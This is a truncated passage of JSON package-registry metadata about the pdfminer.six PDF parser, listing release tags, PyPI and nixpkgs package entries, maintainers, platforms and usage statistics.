:"20231228","sha":"bd252ef5a578694efffdb1e42b24deea22f78d17","kind":"tag","published_at":"2023-12-28T21:24:07.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20231228","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20231228","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20231228","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20231228/manifests"},{"name":"20221105","sha":"ebf7bcdb983f36d0ff5b40e4f23b52525cb28f18","kind":"tag","published_at":"2022-11-05T16:31:59.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20221105","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20221105","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20221105","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20221105/manifests"},{"name":"20220524","sha":"0b09d5f8db1551d839d748f808eb246b95736b77","kind":"commit","published_at":"2022-05-24T17:41:54.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220524","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220524","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220524","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220524/manifests"},{"name":"20220506","sha":"e19aea932d10938a995e89aea79fb304da5a82ff","kind":"commit","published_at":"2022-05-06T20:02:32.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220506","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220506","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220506","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220506/manifests"},{"name":"20220319","sha":"ae7f31574642758a267a118c964ac874c1768ed5","kind":"commit","published_at":"2022-03-19T20:10:02.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20220319","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20220319","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20220319","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20220319/manifests"},{"name":"20211012","sha":"da5b96828efdb184f6410c43fea30f7b7c893dfb","kind":"commit","published_at":"2021-10-12T18:45:24.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20211012","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20211012","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20211012","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20211012/manifests"},{"name":"20201018","sha":"c8cceb7c58deec9e647be6d3957e03442770bdd0","kind":"commit","published_at":"2020-10-18T10:57:26.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20201018","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20201018","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20201018","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20201018/manifests"},{"name":"20200726","sha":"0b44f7771462363528c109f263276eb254c4fcd0","kind":"tag","published_at":"2020-08-02T14:27:47.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200726","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200726","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200726","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200726/manifests"},{"name":"20200720","sha":"3cebf5ef6652c579c432cc734a4aadae1460ea54","kind":"commit","published_at":"2020-07-20T20:05:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200720/manifests"},{"name":"20200517","sha":"33b60dfd5414bf91fa232550528973b07028ff64","kind":"commit","published_at":"2020-05-17T15:50:01.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200517","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200517","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200517","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200517/manifests"},{"name":"20200402","sha":"d79bcb75ea08442df0c69af050c0070d0ae036b4","kind":"tag","published_at":"2020-04-01T19:42:17.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200402","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200402","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200402","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200402/manifests"},{"name":"20200124","sha":"bab6d154c2ab698bc79a8fa7638ec8e6b3ce809c","kind":"commit","published_at":"2020-01-24T11:38:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200124","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200124","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200124","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200124/manifests"},{"name":"20200121","sha":"bc494ff03cc2d1139a7806a8ca74a477a67f14e9","kind":"commit","published_at":"2020-01-21T20:13:52.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200121","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200121","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200121","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200121/manifests"},{"name":"20200104","sha":"b27d3d0aff5d0d87a80f340ba82d022c1f9d547f","kind":"commit","published_at":"2020-01-04T17:15:15.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20200104","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20200104","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20200104","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20200104/manifests"},{"name":"20191110","sha":"452f0b4ad0fb4236076e69102cedc38730d53f8d","kind":"commit","published_at":"2019-11-10T11:59:55.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191110","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191110","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191110","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191110/manifests"},{"name":"20191107","sha":"b63a636512eaaf18a9e30836431c5f80705be129","kind":"commit","published_at":"2019-11-07T20:52:58.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191107","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191107","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191107","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191107/manifests"},{"name":"20191020","sha":"a5a34d53bdad87eee543a3b3cb1531e8604850b0","kind":"commit","published_at":"2019-10-20T12:27:19.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20191020","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20191020","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20191020","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20191020/manifests"},{"name":"20181108","sha":"b6a58482089fa29d7ce80e89b5cf31b321e94c13","kind":"commit","published_at":"2018-11-08T17:07:11.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20181108","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20181108","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20181108","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20181108/manifests"},{"name":"20170720","sha":"4c604828e82ebdbff6c6979c45f61fda11b1f427","kind":"tag","published_at":"2017-07-20T19:36:35.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170720","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170720","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170720","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170720/manifests"},{"name":"20170419","sha":"baddb25df66c8830a4fce30f7cdf01d90c222a5d","kind":"tag","published_at":"2017-04-19T12:24:45.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170419","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170419","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170419","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170419/manifests"},{"name":"20170418","sha":"11a4c8b6c1430d97352fc5587935bdd1480f4f75","kind":"tag","published_at":"2017-04-18T17:14:10.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20170418","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20170418","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20170418","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20170418/manifests"},{"name":"20160614","sha":"881ea1755363900ebd480b11eb2bf92657ffc915","kind":"tag","published_at":"2016-06-14T17:03:44.000Z","download_url":"https://codeload.github.com/pdfminer/pdfminer.six/tar.gz/20160614","html_url":"https://github.com/pdfminer/pdfminer.six/releases/tag/20160614","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/pdfminer/pdfminer.six@20160614","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/tags/20160614/manifests"}]},"repo_metadata_updated_at":"2026-03-29T16:23:25.386Z","dependent_packages_count":0,"downloads":37,"downloads_period":"last-month","dependent_repos_count":0,"rankings":{"downloads":28.874693003083035,"dependent_repos_count":30.615981867388953,"dependent_packages_count":6.612263027370924,"stargazers_count":1.051087327965801,"forks_count":1.4563730195525315,"average":13.722079649072247},"purl":"pkg:pypi/e.pdfminer.six","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/e.pdfminer.six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/pypi/e.pdfminer.six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/e.pdfminer.six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2025-09-21T08:50:23.476Z","issues_count":303,"pull_requests_count":172,"avg_time_to_close_issue":35471281.30578513,"avg_time_to_close_pull_request":7587995.797202798,"issues_closed_count":121,"pull_requests_closed_count":143,"pull_request_authors_count":49,"issue_authors_count":192,"avg_comments_per_issue":1.7425742574257426,"avg_comments_per_pull_request":1.2965116279069766,"merged_pull_requests_count":113,"bot_issues_count":0,"bot_pull_requests_count":0,"past_year_issues_count":75,"past_year_pull_requests_count":72,"past_year_avg_time_to_close_issue":2118200.8,"past_year_avg_time_to_close_pull_request":2441285.0,"past_year_issues_closed_count":25,"past_year_pull_requests_closed_count":54,"past_year_pull_request_authors_count":14,"past_year_issue_authors_count":36,"past_year_avg_comments_per_issue":0.8933333333333333,"past_year_avg_comments_per_pull_request":0.9583333333333334,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":45,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/pdfminer%2Fpdfminer.six/issues","maintainers":[{"login":"pietermarsman","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"},{"login":"jstockwin","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jstockwin"},{"login":"tataganesh","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tataganesh"}],"active_maintainers":[{"login":"pietermarsman","count":38,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/pietermarsman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/e.pdfminer.six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/e.pdfminer.six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/e.pdfminer.six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/e.pdfminer.six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/e.pdfminer.six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/e.pdfminer.six/codemeta","maintainers":[{"uuid":"sheng_xc","login":"sheng_xc","name":null,"email":null,"url":null,"packages_count":6,"html_url":"https://pypi.org/user/sheng_xc/","role":null,"created_at":"2023-01-17T11:48:44.589Z","updated_at":"2023-01-17T11:48:44.589Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/sheng_xc/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":873148,"maintainers_count":373398,"namespaces_count":0,"keywords_count":280639,"github":"pypi","metadata":{"funded_packages_count":53810},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-05-13T05:09:37.527Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}},{"id":13297722,"name":"python310Packages.pdfminer-six","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-02T06:31:53.600Z","latest_release_published_at":"2026-02-02T06:31:53.600Z","latest_release_number":"20221105","last_synced_at":"2026-03-08T10:29:57.247Z","created_at":"2026-02-02T06:31:35.123Z","updated_at":"2026-03-08T10:36:40.390Z","registry_url":"https://search.nixos.org/packages?channel=23.11\u0026query=python310Packages.pdfminer-six","install_command":"nix-env -iA nixpkgs.python310Packages.pdfminer-six","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.11/pkgs/development/python-modules/pdfminer-six/default.nix#L60","metadata":{"nix_attribute":"python3.10-pdfminer-six-20221105","position":"pkgs/development/python-modules/pdfminer-six/default.nix:60","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","x86_64-windows","i686-windows"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"],"upstream_ecosystem":"pypi","upstream_name":"pdfminer-six","upstream_purl":"pkg:pypi/pdfminer-six"},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/python310Packages.pdfminer-six?channel=23.11\u0026repository_url=https://channels.nixos.org/nixos-23.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python310Packages.pdfminer-six","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python310Packages.pdfminer-six","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python310Packages.pdfminer-six/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pdfminer-six/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pdfminer-six/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pdfminer-six/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pdfminer-six/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pdfminer-six/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages/python310Packages.pdfminer-six/codemeta","maintainers":[{"uuid":"marsam","login":null,"name":"Mario Rodas","email":null,"url":"https://github.com/marsam","packages_count":485,"html_url":null,"role":null,"created_at":"2026-03-08T10:29:57.509Z","updated_at":"2026-03-08T10:29:57.509Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers/marsam/packages"},{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":62,"html_url":null,"role":null,"created_at":"2026-03-08T10:29:57.451Z","updated_at":"2026-03-08T10:29:57.451Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-23.11","url":"https://channels.nixos.org/nixos-23.11","ecosystem":"nixpkgs","default":false,"packages_count":108178,"maintainers_count":2997,"namespaces_count":0,"keywords_count":0,"github":"NixOS","metadata":{"funded_packages_count":189},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.577Z","updated_at":"2026-04-03T06:23:37.723Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.11/namespaces"}},{"id":13067583,"name":"pdfminer","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-02-01T17:11:54.406Z","latest_release_published_at":"2026-02-01T17:11:54.406Z","latest_release_number":"20240706","last_synced_at":"2026-03-05T22:26:59.231Z","created_at":"2026-02-01T17:11:52.824Z","updated_at":"2026-03-05T22:32:12.978Z","registry_url":"https://search.nixos.org/packages?channel=24.11\u0026query=pdfminer","install_command":"nix-env -iA nixpkgs.pdfminer","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-24.11/pkgs/development/python-modules/pdfminer-six/default.nix#L77","metadata":{"nix_attribute":"pdfminer-six-20240706","position":"pkgs/development/python-modules/pdfminer-six/default.nix:77","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mips-linux","mips64-linux","mips64el-linux","mipsel-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin","i686-cygwin","x86_64-cygwin","aarch64-windows","x86_64-windows","i686-windows","i686-freebsd","x86_64-freebsd"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"]},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/pdfminer?channel=24.11\u0026repository_url=https://channels.nixos.org/nixos-24.11","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages/pdfminer/codemeta","maintainers":[{"uuid":"PsyanticY","login":null,"name":"Psyanticy","email":"iuns@outlook.fr","url":"https://github.com/PsyanticY","packages_count":63,"html_url":null,"role":null,"created_at":"2026-03-05T22:26:59.405Z","updated_at":"2026-03-05T22:26:59.405Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers/PsyanticY/packages"}],"registry":{"name":"nixpkgs-24.11","url":"https://channels.nixos.org/nixos-24.11","ecosystem":"nixpkgs","default":false,"packages_count":121983,"maintainers_count":3777,"namespaces_count":0,"keywords_count":0,"github":"NixOS","metadata":{"funded_packages_count":228},"icon_url":"https://github.com/NixOS.png","created_at":"2026-01-25T22:30:53.059Z","updated_at":"2026-04-03T06:22:14.703Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-24.11/namespaces"}},{"id":12801795,"name":"pdfminer","ecosystem":"nixpkgs","description":"PDF parser and analyzer","homepage":"https://github.com/pdfminer/pdfminer.six","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/pdfminer/pdfminer.six","keywords_array":["python"],"namespace":null,"versions_count":1,"first_release_published_at":"2026-01-26T14:51:07.634Z","latest_release_published_at":"2026-01-26T14:51:07.634Z","latest_release_number":"20221105","last_synced_at":"2026-04-03T05:07:07.162Z","created_at":"2026-01-26T14:51:07.274Z","updated_at":"2026-04-03T05:07:07.163Z","registry_url":"https://search.nixos.org/packages?channel=23.05\u0026query=pdfminer","install_command":"nix-env -iA nixpkgs.pdfminer","documentation_url":"https://github.com/NixOS/nixpkgs/blob/nixos-23.05/pkgs/development/python-modules/pdfminer-six/default.nix#L60","metadata":{"nix_attribute":"pdfminer-six-20221105","position":"pkgs/development/python-modules/pdfminer-six/default.nix:60","platforms":["aarch64-linux","armv5tel-linux","armv6l-linux","armv7a-linux","armv7l-linux","i686-linux","loongarch64-linux","m68k-linux","microblaze-linux","microblazeel-linux","mipsel-linux","mips64el-linux","powerpc64-linux","powerpc64le-linux","riscv32-linux","riscv64-linux","s390-linux","s390x-linux","x86_64-linux","x86_64-darwin","i686-darwin","aarch64-darwin","armv7a-darwin"],"broken":false,"insecure":false,"unfree":false,"outputs":["dist","out"]},"repo_metadata":{},"repo_metadata_updated_at":null,"dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:nix/pdfminer?channel=23.05\u0026repository_url=https://channels.nixos.org/nixos-23.05","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/pdfminer","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/pdfminer","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/pdfminer/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/pdfminer/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/pdfminer/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/pdfminer/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/pdfminer/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/pdfminer/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/nixpkgs-23.05/packages/pdfminer/codemeta","maintainers":[{"uuid":"marsam","login":null,"name":"Mario 